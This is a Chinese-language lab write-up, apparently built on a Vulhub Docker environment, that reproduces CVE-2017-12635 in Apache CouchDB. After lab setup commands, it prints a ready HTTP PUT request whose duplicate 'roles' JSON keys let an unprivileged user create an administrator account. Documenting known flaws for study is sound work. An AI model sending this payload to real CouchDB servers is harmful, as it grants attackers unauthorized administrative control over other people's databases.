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119 lines
3.5 KiB
Markdown
119 lines
3.5 KiB
Markdown
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# Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635
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## 漏洞描述
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Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。
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在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。
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参考链接：
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- http://bobao.360.cn/learning/detail/4716.html
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- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
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## 漏洞影响
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```
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Couchdb 小于 1.7.0 以及 小于 2.1.1
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```
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## 环境搭建
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Vulhub编译及启动环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:5984/_utils/`即可看到一个web页面，说明Couchdb已成功启动。但我们不知道密码，无法登陆。
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## 漏洞复现
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访问`http://your-ip:5984/_users/org.couchdb.user:vulhub`，如果出现404错误：`{"error":"not_found","reason":"Database does not exist."}`，则说明当前Couchdb的初始化未完成，数据库不存在，需要手动进行配置。
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Vulhub目录下存在init.sh文件：
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```
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┌──(root💀kali)-[/home/…/vulnerability/vulhub/couchdb/CVE-2017-12635]
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└─# cat init.sh
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#!/bin/bash
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COUCHDB_URL=${COUCHDB_URL:-"couchdb:5984"}
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COUCHDB_AUTH=${COUCHDB_AUTH:-"admin:password"}
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while ! curl -m 5 "${COUCHDB_URL}"; do
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sleep 1
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done
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curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_users
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curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_replicator
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curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_global_changes
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```
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依次执行命令，初始化Couchdb，新建`_users`、`_replicator`、`_glocal_changes`三个数据库：
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```
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curl -X PUT http://admin:password@192.168.174.128:5984/_users
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curl -X PUT http://admin:password@192.168.174.128:5984/_replicator
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curl -X PUT http://admin:password@192.168.174.128:5984/_global_changes
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```
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配置完成后，发送如下数据包：
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```
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PUT /_users/org.couchdb.user:vulhub HTTP/1.1
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Host: your-ip:5984
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 90
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{
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"type": "user",
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"name": "vulhub",
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"roles": ["_admin"],
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"password": "vulhub"
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}
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```
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可见，返回403错误：`{"error":"forbidden","reason":"Only _admin may set roles"}`，只有管理员才能设置Role角色
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发送包含两个roles的数据包，即可绕过限制：
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```
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PUT /_users/org.couchdb.user:vulhub HTTP/1.1
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Host: your-ip:5984
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 108
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{
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"type": "user",
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"name": "vulhub",
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"roles": ["_admin"],
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"roles": [],
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"password": "vulhub"
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}
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```
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成功创建管理员，账户密码均为`vulhub`：
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再次访问`http://your-ip:5984/_utils/`，输入账户密码`vulhub`，可以成功登录：
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